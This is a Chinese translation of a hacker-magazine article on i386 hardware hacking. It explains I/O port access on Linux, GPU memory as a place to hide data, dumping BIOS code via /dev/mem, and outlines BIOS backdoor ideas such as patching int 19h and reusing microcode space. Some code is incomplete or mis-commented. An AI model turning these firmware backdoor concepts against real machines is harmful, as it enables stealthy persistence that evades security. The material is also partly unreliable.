Hacking deepper in the system 中文版

作者:scythale

翻译：wzhou

内容

简介

我们注意到现在专注于硬件 hacking 技术的论文数量正在增长。即使基于硬件的后门还很不成熟，但当一些大公司正计划通过诸如 DRM 和 TCPA 之类相当坏的设计概念（译者注：对 hacker 而言确是如此）以便在未经我们同意的情况下控制我们的电脑时，这个课题变得很重要。我们不能让他们没付出一点代价就这么做，是该介绍一点有关硬件世界的事了…

本文从“后门”作者的角度简介了硬件 hacking(嘿，这是飞客杂志，我们不会介绍怎样用 RS232 接口来控制你的咖啡机)。即使后门化硬件不是一个太好的主意，但它却是开始学习硬件 hacking 的好的开始。作者的目的是给读者一点硬件 hacking 的入门知识，这些知识对于准备同那些象 Sony 和微软那样的大“寄生虫”…嗯…“公司”发起的诸如 TCPA 及另外的讨厌的东西作战是有用的。

本文围绕 i386 来介绍，并没有包括其他架构，但可以作为研究其他硬件平台的基础。确记，在这里讲解的材料除了 PC 外，不能工作在其他的平台上。一些诸如设备，BIOS，PC 的内部工作机理等的主题将在这里被探讨，并会展现一些关于把这些东西转变成为我们服务的方法。

本文不是某种解决方案，也不是 3v1L s0fTw4r3（译者注：意思是邪恶软件，你再看

一下，是不是很想 Evil software，黑客在签名方面也有自己的一套）的介绍，所以在这里你不会找到功能完备的“后门”。作者的目的是提供信息以帮助你自己写出这样的软件，并不是提供你一个已经能工作的黑客工具（译者注：授人以鱼，三餐之需；授人以渔，终生之用）。写出这样一个工具并不特别难，它仅需要你的想象力（译者注：说的真轻巧）。

为了理解本文，关于 x86 的汇编语言与 CPU 架构知识是必要的。如果你是这方面的新手，作者强烈推荐你读“The Art of Assembly Programming”一书（译者注：我觉得《汇编语言编程艺术》只能说尚可，但有一点要提醒读者，我还没看到过一本值得推荐的国人写的入门级的汇编语言教程。译者本人 11 年前自学汇编时被国内最出名理工大学的教材害得不浅，后来完全是在大量阅读微软 Window 9.x DDK 中提供的内核源代码的基础上才改正了自学时养成的一些毛病。可悲的是，在现在的书店里，我依然看到这本书在卖）。

I/O 系统快速浏览

在开始探讨该主题之前，需要一些解释。对于那些已经熟悉 Intel 平台上的 I/O 怎么工作的读者可以跳到下一节继续。如果还不熟悉，那接着阅读吧。

本文专注于硬件，自然知道怎样存取它们是很必要的，而 I/O 系统则提供了这样一种方式。尽人皆知，处理器（CPU）是电脑的心脏，更准确的说是电脑的大脑。但它做的事仅仅是计算。基本上，在没有外围设备的情况下对你没什么大用。外围设备喂给 CPU 计算的数据，然后又从它那儿取回结果，而 I/O 系统则把绝大部分设备联接到 CPU。处理器看基于设备的 I/O 很象它看内存一样。事实上，处理器与外围设备沟通的一切手段就是读写“内存某处”的数据，而 I/O 系统则负责处理接下来的事情。这个“内存某处”代表的是某个输入输出端口（I/O 端口）。I/O 端口是设备联接到 CPU 数据总线的特殊“地址”。每个设备的输入输出最起码有一个 I/O 端口，很多设备有好几个。基本上，设备驱动做的事情只是操纵这些 I/O 端口（他们做的更基本的是与设备打交道）。Intel 架构的 PC 提供了 3 种主要的操纵 I/O 端口的方法：内存映射 I/O，基于输入输出的 I/O 和 DMA 方式 I/O。

内存映射 I/O

基于内存映射的 I/O 系统允许象访问内存一样访问 I/O 端口，类似“mov”这样的指令就能访问到。这种方式是比较简单的，它所作的就是把 I/O 端口映射入内存地址空间，这样当读/写这些地址时实际上是向联接到该地址的外围设备发送/接受数据。这样访问设备与访问内存就没什么两样了（译者注：实际上还是有不同的，比如速度方面，你刚向内存某处写一个数据，下条指令接着马上读出，是没有任何问题的。但要是这地址是内存映射的“地址”，则很可能就有问题，因为你访问的毕竟不是真正的内存，而是外围设备，速度肯定赶不上一般的内存。你写的动作可能是触发设备的某个动作，而读可能是去取回该动作执行的状态。在现在如此高主频的 CPU 上，在一条指令的间隙就能够完成某个设备的动作，好像不是很现实。区别当然还有很多，但这一般都与特定

设备相关)。

基于输入输出方式的 I/O

基于输入输出方式的 I/O 系统使用 CPU 特定的指令来访问 I/O 端口。在 i386 体系的 CPU 上，就是“in”和“out”这两条指令。

```
in 254，reg          ；把寄存器 reg 中的内容写到#254 端口
out reg, 254         ；从#254 端口读出数据，然后存到 reg 寄存器中
```

上面两条指令的问题在于端口号是 8 位编码的，这样只允许访问从 0 到 255 的端口号。不幸的是该范围的端口已经被联接到象系统时钟的内部设备。解决的方法见下面（摘录自《汇编语言编程艺术》一书）：

> 为了访问端口号超过 255 的端口，你必须把该 16 位端口号载入 DX 寄存器，用该寄存器作为指向特定端口的地址。例如，要写一个字节到$375 号端口，你可能要用类似下面的指令：
>
> ```
> mov $374，dx
> out al，dx
> ```

直接内存存取（DMA）

术语 DMA 代表 **D**irect **M**emory **A**ccess(直接内存存取)。DMA 系统用于设备与内存之间访问的性能。回到以前时代，绝大部分硬件需要 CPU 的参与才能在设备与内存之间传输数据。当电脑开始多媒体化以后，也就是电脑开始带 CD-ROM 和声卡后，CPU 对诸如用户一边听音乐一边在屏幕上通过按着“CTRL”键来用鸟枪射杀怪物之类的工作有点力不从心了。所以制造商发明了用来解决该问题的芯片，这就诞生了 DMA 控制器。DMA 可以让 CPU 只要做很少的工作就能让设备与内存之间互传数据。基本上，CPU 所做的就是启动 DMA 传输，然后让 DMA 芯片完成剩下的，从而让 CPU 可以专注于其他的工作。有趣的是 CPU 并没有做实际的传输工作，而是设备在做。由于保护模式（译者注:i386 架构 CPU 的一种工作模式）并不会影响到传输，这意味着我们几乎可以读写我们想的任何地方。这并不是什么新主意（译者注:确实，在教材总是落后于现实很远的中国，十几年前大学里的微机原理课都会介绍这东东，你还记得吗？），PHC（译者注:应该是一位 hacker）已经在以前的飞客杂志中介绍过了。

DMA 确实是个蛮强大的系统。 It allows us to do very cool tricks but this come as the expense of a great prize 。由于 DMA 与硬件相关很紧密，所以利用它也比较痛苦。下面列出几种主要的ＤＭＡ系统：

- ＤＭＡ控制器（三流货色的ＤＭＡ方式）：这种ＤＭＡ系统比较老并且效率不高。它的方法是让在主板上的通用 DMA 控制器处理所有外围设备的每一个 DMA 操作。

这种控制器主要用在 ISA 设备的场合，由于性能的问题和同时只能建立 4 到 8 路（在有两个级联的 DMA 控制器的情况下，其中这种 DMA 控制器只支持 4 个传输通道）DMA 传输通道，现在已不用。

- 总线接管型 DMA(当前最好的 DMA 方式)：这种 DMA 系统的性能远优于上面的 DMA 控制器。它的方法是允许每个设备通过总线接管的方式自己来管理 DMA，代替了原来完全依赖通用总线控制器的方式，这样每个设备能在接管系统总线后实施数据传输，使得设备制造商能为他们的产品提供一个高效率的系统。

译者注：前者可以比喻为是一种“中央集权式”的 DMA 操作管理方式，在上面有一个“党中央”（通用控制器），而设备则是各个“地方政府”，只有在“党中央”的允许下，某个“地方政府”才能够有所作为，一切行动听“中央”，全国一盘棋。这就造成“党中央”的负荷非常重，而“地方政府”只能静等万忙中的“党中央”的允许指令。这显然影响了整个系统的性能，在以前低速 ISA 设备的情况下还可以混一阵，当 PCI 设备一统江湖后，人民实在无法忍受这种低效系统，把它给废弃了。我在大学的微机原理课上上的就是这种 DMA，不知道现在的大学生们是否还在接受这种“灌输”。

后者可以比喻为分权的民主方式，即不再有一个大权独揽的通用控制器，每个设备在要传输时提出接管总线的申请（因为无论是数据是从设备到设备，还是设备到主存，都要通过数据总线，而数据总线只有大家都公用的一条，所以要申请），批准后就可以启动传输。

These three things are practical enough to get started but modern operating systems provides medias to access I/O too.在电脑市场上已经有很多操作系统，而我在这里将只介绍 GNU/Linux 系统，因为该系统可说是在 Intel 架构上探索硬件 hacking 的完美系统。象很多其他系统一样，Linux 工作在两种模式：用户模式和内核模式。由于内核模式允许完全控制系统，让我们看看在用户模式下怎样访问 I/O 吧。在这里我将介绍两种与硬件打交道的方法：in*()，out*()和/dev/port。

in/out 方式

在Linux系统的用户态，in/out指令是可以被使用的。同样的，函数outb(2)[1]，outw(2)，outl(2)，inb(2)，inw(2)，inl(2)就是与I/O打交道的，并能够从内核态或用户态被调用。正象在《Linux Device Drivers》一书中写的，它们象下面一样被用到：

```
unsigned inb(unsigned port);
void outb(unsigned char byte, unsigned port);
```

用于读写单个端口（8 位位宽）。参数 port 在有些平台上被定义成 unsigned long，而另一些则是 unsigned short。Inb 的返回值类型也因不同平台架构而不同。

```
unsigned inw(unsigned port);
```

[1] 这些函数中的 2 表示在手册的第二卷能找到该函数的说明。一般用如下命令man 2 outb---译者注

```
void outw(unsigned short word, unsigned port);
```

这两个函数访问 16 位的端口（字宽）。当在 M68K 和 S390 平台上编译时，这两个函数是没有定义的，因为这些平台只支持基于单端口的输入输出。

```
unsigned inl(unsigned port);
void outl(unsigned longword, unsigned port);
```

这两个函数用于访问 32 位端口。根据平台不同，longword 或者是 unsigned long，或者是 unsigned int。同基于“word” 型的输入输出一样，“long”型输入输出在 M68K 和 S390 平台上也是没有被定义的。

注意，即使在 64 位系统上也没有 64 位的 I/O 端口操作，端口地址空间最大还是 32 位的。

用这种方法访问 I/O 端口的仅有限制是程序员必须先调用 iopl(2)或 ioperm(2)函数来打开访问权限。有时候这两个函数受类似 grsec 等的安全系统保护。当然，只有你拥有 root 权限，你才能这么做。这儿有一段以上面介绍的方式访问 I/O 的代码：

```
------【io.c
/*
** Just a simple code to see how to play with inb()/outb() functions.
**
** usage is :
**  * read : io r <port address>
**  * write : io w <port address> <value>
**
** compile with : gcc io.c -o io
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/io.h>  /* iopl(2) inb(2) outb(2) */



void       read_io(long port)
{
  unsigned int val;

  val = inb(port);
  fprintf(stdout, "value : %X\n", val);
}
```

```
void      write_io(long port, long value)
{
  outb(value, port);
}

int main(int argc, char **argv)
{
  long  port;

  if (argc < 3)
    {
      fprintf(stderr, "usage is : io <r|w> <port> 【value】\n");
      exit(1);
    }
  port = atoi(argv【2】);
  if (iopl(3) == -1)
    {
      fprintf(stderr, "could not get permissions to I/O system\n");
      exit(1);
    }
  if (!strcmp(argv【1】, "r"))
    read_io(port);
  else if (!strcmp(argv【1】, "w"))
    write_io(port, atoi(argv【3】));
  else
    {
      fprintf(stderr, "usage is : io <r|w> <port> 【value】\n");
      exit(1);
    }
  return 0;
}

------
```

/dev/port 方式

/dev/port 是一个特殊的文件，它允许你象操作普通文件一样访问 I/O。文件访问函数 open(2)，read(2)，write(2)，lseek(2)和 close(2)可以操作/dev/port。只需要定位到端口对应的地址,就可以用 lseek()和 read()或 write()来访问硬件。下面是这样做的例子代码：

```
------【port.c

/*
** Just a simple code to see how to play with /dev/port
```

```
**
** usage is :
**  * read : port r <port address>
**  * write : port w <port address> <value>
**
** compile with : gcc port.c -o port
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


void      read_port(int fd, long port)
{
  unsigned int val = 0;

  lseek(fd, port, SEEK_SET);
  read(fd, &val, sizeof(char));
  fprintf(stdout, "value : %X\n", val);
}

void      write_port(int fd, long port, long value)
{
  lseek(fd, port, SEEK_SET);
  write(fd, &value, sizeof(char));
}

int main(int argc, char **argv)
{
  int   fd;
  long  port;

  if (argc < 3)
    {
      fprintf(stderr, "usage is : io <r|w> <port> 【value】\n");
      exit(1);
    }
  port = atoi(argv【2】);
  if ((fd = open("/dev/port", O_RDWR)) == -1)
    {
```

```
     fprintf(stderr, "could not open /dev/port\n");
     exit(1);
   }
  if (!strcmp(argv【1】, "r"))
    read_port(fd, port);
  else if (!strcmp(argv【1】, "w"))
    write_port(fd, port, atoi(argv【3】));
  else
    {
     fprintf(stderr, "usage is : io <r|w> <port> 【value】\n");
     exit(1);
    }
  return 0;
}


------
```

好，在结束这部分介绍以前有一件事要说明一下，对 Linux 用户而言，如果他想列出他系统上的 I/O 端口，只需要输入下面的命令：

```
cat /proc/ioports
```

输出有可能象下面那样：

```
    $ cat /proc/ioports # lists ports from 0000 to FFFF
    0000-001f : dma1
    0020-0021 : pic1
    0040-0043 : timer0
    0050-0053 : timer1
    0060-006f : keyboard
    0080-008f : dma page reg
    00a0-00a1 : pic2
    00c0-00df : dma2
    00f0-00ff : fpu
    0170-0177 : ide1
    01f0-01f7 : ide0
    0213-0213 : ISAPnP
    02f8-02ff : serial
    0376-0376 : ide1
    0378-037a : parport0
    0388-0389 : OPL2/3 (left)
    038a-038b : OPL2/3 (right)
    03c0-03df : vga+
    03f6-03f6 : ide0
    03f8-03ff : serial
```

```
    0534-0537 : CS4231
    0a79-0a79 : isapnp write
    0cf8-0cff : PCI conf1
    b800-b8ff : 0000:00:0d.0
      b800-b8ff : 8139too
    d000-d0ff : 0000:00:09.0
      d000-d0ff : 8139too
    d400-d41f : 0000:00:04.2
      d400-d41f : uhci_hcd
    d800-d80f : 0000:00:04.1
      d800-d807 : ide0
      d808-d80f : ide1
    e400-e43f : 0000:00:04.3
      e400-e43f : motherboard
      e400-e403 : PM1a_EVT_BLK
      e404-e405 : PM1a_CNT_BLK
      e408-e40b : PM_TMR
      e40c-e40f : GPE0_BLK
      e410-e415 : ACPI CPU throttle
    e800-e81f : 0000:00:04.3
      e800-e80f : motherboard
        e800-e80f : pnp 00:02
    $
```

把玩 GPU

3D 显卡开创了一个伟大时代！当你在电脑上安装了这样一块卡时，你不仅仅插了一个能显示优美图像的设备，你同时也在你的电脑上放置了一台迷你电脑。今天的显卡不再是一块简单的芯片，它有自己的内存，有自己的处理器，甚至有自己的 BIOS!从这些小零碎身上你可以享受到许多好处。

首先，让我们考虑一下 3D 显卡到底是什么？3D 显卡主要用于增强你电脑处理 3D 的性能并把图像输出到屏幕上显示。正象我说的，在我们要做“3viL”(译者注：Evil)事情中，显卡的 3 部分是我们感兴趣的。

1. 显存。显存是显卡自带的内存，用于存贮要描画的场景和计算结果。现今的大部分显卡都带超过 256 兆的显存，为我们的后门提供了很好的场所。

2. 图形处理单元（简称 GPU)。它是你的 3D 显卡的处理器。绝大部分的 3D 操作实际上是数学运算，所以 GPU 的绝大部分指令都是为图形计算而设计的数学运算指令。

3. 板载 BIOS。现今许多外围设备都有自己的 BIOS，3D 显卡也不例外。你的 3D 显

卡上的固件(firmware)包含的 BIOS，我们是很感兴趣的。当你能访问这些固件时，你几乎能做你想做的任何事情。

对上面的 3 种 hacking 资源，在下面我将给出一些建议，但首先我们需要知道怎样与显卡打交道。不太乐观的是，当你与你的电脑上的任何设备打交道时，你需要这些设备的规格文件(Specification),而绝大部分显卡公开的资料不足以提供你想 hacking 所需的知识。但这也不是一个太大的问题，因为我们可以通过一套简单的 API 了来与显卡交互。当然这确实使我们在某些情况下，在显卡上不能使用类似在 shell code 中用到的“诡计”。但一旦你获得了系统的 root 权限，你就可以在系统上做任何你高兴做的事情。这里我说的那套 API 是 OpenGL(请参见引用资料【3】)，如果你不熟悉它，那我建议你看一下引用资料【4】中的教程。OpenGL 是一套 3D 编程接口，它由许多在图形工业界领先的大厂组成的 OpenGL Architecture Review Board 组织定义。这套库通常伴随你的驱动程序一起发行。利用该库，你很容易开发出用到现代 3D 显卡特性的可移植代码。

现在我们知道了怎样与显卡打交道，让我们更进一步了解这个设备。GPU 的作用是把程序员描画出的 3D 环境的虚拟场景转变成你的屏幕上的 2D 的图像。基本上，GPU 是对数据进行不同数学操作的运算流水线。在这里，我不会介绍把 3D 场景转化成 2D 图像的完整过程，因为这不是本文的重点。我们关心的是，你需要了解如下几点：

1. GPU 用于转换输入数据(通常这数据是 3D 场景数据，但没有谁阻止我们输入其他东西)。
2. 这些转换用到数学操作，而这些数学操作通常用在图形编程领域（但同样没有谁阻止我们把这些数学操作用在其他目的）。
3. 这条流水线包括两步主要的运算，其中每一步都涉及多步的数据转换：

   - 转换和 Lighting:这一步把 3D 对象简化为 2D 的多边形（通常是三角形），产生光栅图像帧。
   - 光栅化：这一步接受光栅化的帧为输入数据，计算要在屏幕上显示的像素点的值。

现在，让我们看一下基于这些特性我们能够干什么？这里我们感兴趣的是怎样在很难让人发现的地方隐藏数据，及在电脑的 CPU 外执行指令。我不会涉及给 3D 显卡的固件打补丁（译者注：即修改显卡的 BIOS 代码），因为这需要很大的反向工程（译者注：主要是反汇编并分析反汇编后的代码）的工作量，并且这也因显卡而异（译者注：通用性不强），故不是本文的主题之一。

首先，让我们考虑在 CPU 外指令的执行。当然，当我们与 3D 显卡打交道时，我们并不能象在电脑 CPU 上一样编程，比如触发软件中断，发起 I/O 操作或存取主存，但（在 GPU 上）我们能做许多数学运算。比如，我们可以用 3D 显卡上的处理器来加密和解密数据（译者注：因为加解密一般都涉及大量数学运算）which can render the reverse engineering task quite painful.另外，它可以加速一些严重依赖数学运算的程序的运行，即让电脑的 CPU 做一些事情而 3D 显卡则专门用于数学运算。其实这已经得到了相当广泛的应用了。实际上真有人出于好玩把 GPU 用于各种目的（见

参考文档【5】)。这里有个方案是让 GPU 对喂给它的数据做转换。GPU 提供一种被称为“shader”(译者注：我不知道这术语该怎么翻，只能保留原文)的编程系统。你可以认为 shader 是 GPU 内部一种可编程的钩子程序（译者注：hook 被翻成钩子，我也觉得怪怪的，但很多文档都这么称，我这里也就将就了。其实我认为回调或挂接都比钩子要贴切），它允许你在 GPU 数据转换过程中添加你自己的过程调用。这些钩子程序在运算流水线的两个地方可能被触发，这依赖于你用的钩子程序。传统上，shader 被程序员用于为 render 过程添加特殊效果，而 render 过程由两个步骤组成，这样 GPU 就提供了两个可编程的 shader。第一个被称为“Vexter shader”。这个 shader 在转换和 lighting 期间被调用。第二个 shader 被称为“Pixel hader”，这个在光栅化处理期间被调用。

好，现在在 GPU 系统上，我们有了两个入口点，但这并没有告诉我们怎样开发和注入我们自己的代码。当我们与硬件世界打交道时，依赖于你的硬件和运行的系统，有一些方法可以这么做。Shader 有它自己的编程语言，有些是象汇编一样的低级语言，而另一些象 C 一样的高级语言。在高级语言中有三种主流语言：

- High-Level Shader Language(HLSL):这种语言由微软的 DirectX API 提供，所以你使用它就需要微软的 Windows 操作系统（见参考资料【6】)。
- OpenGL Shading Language(GLSL 或 GLSang):这种语言由 OpenGL API 提供（见参考资料【7】)。
- Cg:这种语言由 NVIDA 在他们自己的硬件上引入，可以用 DirectX，也可以用 OpenGL 库。NVIDA 把 Cg 与整个开发包一起免费发行（见参考资料【8】和【9】)。

我们知道了怎样对 GPU 编程，现在让我们考虑最有趣的部分：数据隐藏。正像前面说的，3D 显卡自带相当数量的内存（译者注：就是显存)。当然，这些内存是图像处理用的，但话又说回来，并没有什么东西阻止我们往里面放什么东西。事实上，在 shader 的帮助下，我们甚至能要求 3D 显卡存储并加密我们的数据。这做起来并不难：我们把数据放在流水线的开始处，然后编程让 shader 来存储并加密这些数据，后面就让 GPU 做吧。接着用几乎是同样的操作取得这些处理过的数据:我们要求 shader 解密数据并把它传回给我们。要注意的是，这种加密是非常弱的，因为我们仅仅依靠 shader 的运算，而这种加解密过程只需通过查看 shader 中你的代码就能很容易被反向工程。但对已有的 hacking 技术也是一种有效的改进(基于 Shiva 的显卡可能比较有趣)。

好，现在我们可以开始编码了，以便利用我们的 3D 显卡。哦，等一等！我们并不想搞乱 shader，也不想学 3D 编程，我们只是想让设备执行代码，以便我们能快速测试在这种设备上我们能够干什么。学习 shader 编程是重要的，因为这样可以让我们更好的理解设备，但对那些不熟悉 3D 世界的程序员，可能要花比较长的时间。最近，nVIDIA 发行了可以让程序员比较容易的使用 3D 显卡的 SDK，该 SDK 不止于图形编程，还可以用于其他目的。nVIDIA CUDA(参见参考资料【10】)是这样一份 SDK，它允许程序员使用带新的关键字的 C 语言来编程。这些新关键字会告诉编译器代码的哪部分将在设备上执行，哪部分在 CPU 上执行。同时 CUDA 还附带一些数学库。

下面是一段说明 CUDA 编程的有趣代码：

```
/* 3ddb.c file */
```

```
/*
** 3ddb.c : a very simple program used to store an array in
** GPU memory and make the GPU "encrypt" it. Compile it using nvcc.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <cutil.h>
#include <cuda.h>


/*** GPU code and data ***/

char *     store;


__global__ void   encrypt(int key)
{
  /* do any encryption you want here */
  /* and put the result into 'store' */
  /* (you need to modify CPU code if */
  /* the encrypted text size is     */
  /* different than the clear text   */
  /* one). */
}

/*** end of GPU code and data ***/


/*** CPU code and data ***/
CUdevice   dev;

void       usage(char * cmd)
{
  fprintf(stderr, "usage is : %s <string> <key>\n", cmd);
  exit(0);
}


void       init_gpu()
{
```

```
  int      count;

  CUT_CHECK_DEVICE();
  CU_SAFE_CALL(cuInit());
  CU_SAFE_CALL(cuDeviceGetCount(&count));
  if (count <= 0)
    {
      fprintf(stderr, "error : could not connect to any 3D card\n");
      exit(-1);
    }
  CU_SAFE_CALL(cuDeviceGet(&dev, 0));
  CU_SAFE_CALL(cuCtxCreate(dev));
}


int    main(int argc, char ** argv)
{
  int      key;
  char *   res;

  if (argc != 3)
    usage(argv【0】);
  init_gpu();
  CUDA_SAFE_CALL(cudaMalloc((void **)&store, strlen(argv【1】)));
  CUDA_SAFE_CALL(cudaMemcpy(store,
                argv【1】,
                strlen(argv【1】),
                cudaMemcpyHostToDevice));
  res = malloc(strlen(argv【1】));
  key = atoi(argv【2】);
  encrypt<<<128, 256>>>(key);
  CUDA_SAFE_CALL(cudaMemcpy(res,
                store,
                strlen(argv【1】),
                cudaMemcpyDeviceToHost));
  for (i = 0; i < strlen(argv【1】); i++)
    printf("%c", res【i】);
  CU_SAFE_CALL(cuCtxDetach());
  CUT_EXIT(argc, argv);
  return 0;
}
```

把玩 BIOS

BIOS 是很有趣的东西，在这一领域的后门技术还比较少，也有一些文章被发表。让我们在这里扼要重述与 BIOS 相关的后门技术并看一下对那块存放着 BIOS 代码的小芯片，我们能对它要什么精彩的把戏。首先，BIOS 代表 Basic Input/Output System（基本输入输出系统）。该芯片中的代码负责处理电脑启动过程，底层硬件配置和在系统载入过程的早期为启动载入器（boot loader，象 Linux 下的 GRUB，LILO 等）和操作系统提供一些基本的功能（译者注：一般而言，无论是 Windows 还是 Linux，在 OS 本身被初始化好以后，BIOS 基本上就退出了历史舞台，操作系统全面接管系统，无论硬件还是软件。这造成的一个副作用是，现在的 BIOS 代码已无法与 DOS 时代的相比，无论在代码速度，代码功能，代码的美感而言。主板厂商和 BIOS 程序员好像都提不起精神来，因为自己在非常艰苦条件下开发的软件，跟在系统启动后提供的开发环境而言确实比较艰苦，却只在 boot 阶段运行那么几秒，以后就呜呼哀哉了）。事实上，在启动阶段，BIOS 最先接管系统，然后它做一系列的硬件检测，然后设置 CPU 的 IDT(中断描述表)以提供象中断服务之类的特性，最后试图根据配置载入在某个可启动设备上的 boot loader（启动载入器）。例如，如果你在 BIOS 设置中设定最先从光盘驱动器启动，在启动阶段，BIOS 将首先试图从 CD-ROM 上运行操作系统，如果失败，在从你的硬盘上启动。BIOS 代码是你系统上最先执行的代码。有趣的是，由于 BIOS 上的后门代码在操作系统启动前就执行，使得我们能深度控制系统并避过目标机上几乎所有安全机制！但这样做也是很不方面的：当我们与硬件打交道时，可移植性成了一个很头疼的问题。

与 BIOS 打交道，你需要知道的头一件事是，有好几种后门化 BIOS 的方法。有些优秀的出版物（见参考资料【11】）已经讨论过这方面的主题。而我将专注于我们能对包含 BIOS 代码的 ROM 做什么手脚。

BIOS 代码存储在你的主板上的一块芯片上。老的 BIOS 在不能写的单块 ROM 上，由于一些制造商的奇思妙想，可以给 BIOS 打补丁，就引入了 BIOS 闪存。这是一种我们能够通过输入输出系统访问的小设备。通过闪存能够读写 BIOS 代码，这就是我们可以发挥的地方。当然，目前有很多不同的 BIOS 闪存，我不会介绍特定的芯片。下面一些资料可能对你有用：

- 参考资料【12】 /dev/bios 工具来自 OpenBIOS 的倡议（见参考资料【13】）。它是 Linux 下的一个内核模块，其建立了易于操纵各家 BIOS 的设备。它也能够访问其他一些 BIOS，包括网卡上的 BIOS。它是一个把玩 BIOS 的蛮好的工具，代码也写得很棒，你可以从中了解 BIOS 的工作原理。

- 参考资料【14】是一本几乎解释了 Award BIOS 代码的一切的精彩指南。对该主题感兴趣的任何人而言，即使你没有 Award BIOS，这篇文章也是必读的。

- 参考资料【15】是一个能找到各种 BIOS 的有趣站点。

为了比较容易和快速入门，我们将在虚拟机上操作。因为这样不但可以避免搞坏你真实

机器上的 BIOS，而且用虚拟机测试你学到的概念也很方便。我推荐你用 Bochs(见参考资料【16】)，它是免费且公开源码的，另外一个主要原因是它附带一份注释得很好的模拟 BIOS 的源码。但首先，让我们看看 BIOS 真正是怎样工作的。

正象我说的，BIOS是在启动阶段控制你的系统的最早程序。有趣的是，为了开始对你的BIOS反向工程，你甚至不需要用到闪存。在启动过程的初始阶段，BIOS代码被映射（或者是“shadowed”）到特定位置和范围的RAM中。我们所要做的就是读这段含有 16 位的汇编码的内存。BIOS所占内存从 0xF0000 开始到 0x100000 结束。dump[2]出这些代码的一个简单方法是这样做：

```
% dd if=/dev/mem of=BIOS.dump bs=1 count=65536 seek=983040
% objdump –b binary –m i8086 –D BIOS.dump
```

你应当注意到 BIOS 包含数据（译者注：并不全是代码），这样一个 dump 不能被正确的被反汇编（as you will have a shift preventing code）。要解决该问题，你应当用到前人们提供的 BIOS 中的函数入口点表，把他们喂给 objdump 的“—start-address”命令行选项。

当然，你在内存中看到的代码是不太容易从 BIOS 芯片上取出的，但你得到的某些“未加密”的代码可能对此有帮助。开始看 BIOS 代码中有趣的东西以前，让我们先看一下在 Bochs 中的 BIOS 源代码中很让人感兴趣的注释吧（来自参考资料【17】）：

```
30 // ROM BIOS compatability entry points:
31 // ===================================
32 // $e05b ; POST Entry Point
33 // $e2c3 ; NMI Handler Entry Point
34 // $e3fe ; INT 13h Fixed Disk Services Entry Point
35 // $e401 ; Fixed Disk Parameter Table
36 // $e6f2 ; INT 19h Boot Load Service Entry Point
37 // $e6f5 ; Configuration Data Table
38 // $e729 ; Baud Rate Generator Table
39 // $e739 ; INT 14h Serial Communications Service Entry Point
40 // $e82e ; INT 16h Keyboard Service Entry Point
41 // $e987 ; INT 09h Keyboard Service Entry Point
42 // $ec59 ; INT 13h Diskette Service Entry Point
43 // $ef57 ; INT 0Eh Diskette Hardware ISR Entry Point
44 // $efc7 ; Diskette Controller Parameter Table
45 // $efd2 ; INT 17h Printer Service Entry Point
46 // $f045 ; INT 10 Functions 0-Fh Entry Point
47 // $f065 ; INT 10h Video Support Service Entry Point
48 // $f0a4 ; MDA/CGA Video Parameter Table (INT 1Dh)
49 // $f841 ; INT 12h Memory Size Service Entry Point
50 // $f84d ; INT 11h Equipment List Service Entry Point
```

[2] 没找到很好对应词汇。在台湾出版的技术书里看到过翻译为倾印，也觉得不太好。就索性不翻了。

```
51 // $f859 ; INT 15h System Services Entry Point
52 // $fa6e ; Character Font for 320x200 & 640x200 Graphics \
(lower 128 characters)
53 // $fe6e ; INT 1Ah Time-of-day Service Entry Point
54 // $fea5 ; INT 08h System Timer ISR Entry Point
55 // $fef3 ; Initial Interrupt Vector Offsets Loaded by POST
56 // $ff53 ; IRET Instruction for Dummy Interrupt Handler
57 // $ff54 ; INT 05h Print Screen Service Entry Point
58 // $fff0 ; Power-up Entry Point
59 // $fff5 ; ASCII Date ROM was built - 8 characters in MM/DD/YY
60 // $fffe ; System Model ID
```

上面注释中的偏移给出了内存中特定 BIOS 功能（译者注：BIOS 主要以中断服务的方式提供给系统的直接使用者，应用程序员，你可以把它们看作是烧在 ROM 里面并且调用方式有点怪的“函数”）的地址和所代表的功能，你可以用来参照你自己的 BIOS 代码。比如，BIOS 的中断服务 19h(译者注：中断服务号一般都用 16 进制表示。其中最出名的中断号就是 int 21h，因为几乎整个 DOS 的核心就在该中断服务内。啊，离别 DOS 已经快 10 年啦!)位于内存的 0xfe6f2(译者注:在上面的注释中标出的是$e6f2，那是段内偏移,还得加上 BIOS 所在的 1M 内存的最高段,0xf0000,即地址为 0xf0000 + 0xe6f2。这种寻址方式已经走入历史，大家看看而已，当然如果你要“黑”BIOS，那恐怕得熟悉这个)，它的工作是把 boot loader 载入内存，并跳转到 boot loader 去执行。在一些老的系统上，就是通过跳转到 int 19h 中断服务的技巧来重启系统（reboot）的。在考虑怎样修改 BIOS 代码以前，我们有一个问题先要解决：BIOS 芯片上空间有限，是否能够为基本的“后门”提供足够的空间，我们是否需要做点什么以便能“乞求”到点更多点空间来存放我们的“后门”代码呢？有两个办法可以使我们获得点空间：

1. 我们可以对 int 19h 中断服务代码打补丁，取代它原来载入指定设备的的 boot loader 的功能，而是载入存放在特定位置的我们的“后门”代码（即先载入“后门”代码，然后由“后门”代码去载入真正的 boot loader）。存放位置可以象某个硬盘上的标记为坏块的扇区（译者注：在文件系统的数据结构中标记某块扇区为“BAD”，但实际上是完好的，这样文件系统就不会把该块分配出去，以免我们的后门代码被覆盖掉）。当然，这种操作意味着除了修改 BIOS 外还要修改另外的介质，但由于该方法能让我们几乎想要多少空间就可以得到多少，所以是很值得考虑的。

2. 如果你只想修改 BIOS(即不想通过硬盘存放部分“后门”代码)，你可在要在某些 BIOS 上耍些手段。以前，处理器制造商与 BIOS 厂商有个交易，为了修补 CPU 的 bug 但又不召回已经售出的 CPU，处理器制造商决定给予升级 CPU 内微码(microcode)的能力（还记得 Intel 的 f00f bug 吗？）。方法是对易丢失的微码（译者注：微码的修改不是固定的，即当掉电后，CPU 内对微码的修改也就丢失了，跟软件的特性差不多），在每次启动阶段，BIOS 把存储在其内部的要升级的微码注入到 CPU 内。这种特性就是众所周知的“BIOS 升级”（译者注：我觉得名字好像有点误导，应该是 CPU 升级吧）。当然，微码要占一定的 BIOS 空间，我们可

以搜索要注入 CPU 的这些代码，截获它，让它什么事都不干，并且删除这些微码以存放我们的“后门”代码。

